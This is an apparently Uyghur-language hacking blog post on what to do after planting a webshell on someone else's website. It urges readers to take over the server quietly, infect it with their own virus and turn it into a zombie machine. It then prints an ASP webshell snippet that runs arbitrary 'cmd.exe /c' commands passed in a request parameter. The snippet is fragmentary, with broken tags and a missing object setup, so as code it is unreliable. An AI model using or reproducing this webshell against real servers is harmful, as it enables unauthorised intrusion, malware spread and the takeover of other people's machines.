بىز مۇۋاپىقىيەتلىك ھالدا wenbshell غا ئېرىشكەندىن كېيىن ، قىلىدىغان ئىشىمىز نىمە ؟ كۆپىنچە تورداشلار باش بېتىگە ئۆزىنىڭ ياخشى كۆرىدىغان گەپ - سۆزلىرىنى يېزىپ قويۇشنى ياخشى كۆرىدىكەن ، لېكىن بۇنىڭ ھېچقانداق پايدىسى يوق ، بىكادىن خەقنىڭ قارغىشىغا ئۇچرىشىغا ئۇچرايمىز . ئەمەلىيەتتە webshell ئېلىشتىكى مەقسەت ئۇ بولماستىن ، بەلكى قارشى تەرەپكە بىلىندۈرمەستىن ئۇنى مۇلازىمېتىرىنى ئېلىش ۋە ياكى ئۆزىمىزنىڭ ۋىرۇسىنى يۇقتۇرۇپ ، ئۇنى ئۆزىمىزنىڭ توخۇسىغا ئايلاندۇرۇش . . . مانا بۇنىڭ ھەقىقي پايدىسى بار .
ئەمدىكى مەسىلە webshell ئالغاندىن كېيىنكى بىرمۇنچە ئاۋارىچىلىق ........... يەنى cmd ئىجرا قىلدۇرماسلىق ، ھەرخىل بۇيرۇقلارنى ئىجرا قىلدۇرالماسلىق دېگەندەك ............
يەنى wscript.shell مۇلازىمىتى ئوچۇق بولمىسا ھەرگىزمۇ بۇيرۇق ئىجرا قىلدۇرالمايسىز ، cmd نى يوللاپ چىقاردۇق دېسەكمۇ ئۇنىڭ نورمال ئىجرا بولۇشى ناتايىن .................
تۆۋەندە مەن مۇشۇ مەسىلىلەرنى ھەل قىلىش ئۇسۇلىنى سۆزلەپ ئۆتەي :
كۆپچىلىكنىڭ ھەممىسى بىلىشى مۇمكىن ، webshell دا exe دىن باشقا ئاساسەن ھەممە ھۆججەتنى چىقىرىشقا يوق قويىدۇ . بىز دەل مۇشۇ ئاجىزلىقتىن پايدىلىنىمىز . ئالدى بىلەن تۆۋەندىكى كودنى asp شەكلىدە ساقلاپ ، ئۇنى بوشلۇققا چىقىرىمىز .
-
- <%if err then%>
-
- <%
- end if
- response.write("
- On Error Resume Next
- response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
- response.write("")
- response.write("
- response.write("
") - response.write("")
- %>
شۇنىڭ بىلەن بىزنىڭ cmd دىكى بۇيرۇقلىرىمىز توغرا ئىشلەيدۇ . ئۈنۈملۈك بولۇش نىسبىتى %80 ، قالغىنىنى ئۆزەڭلەر تەتقىق قىلىڭلار .
0 comments: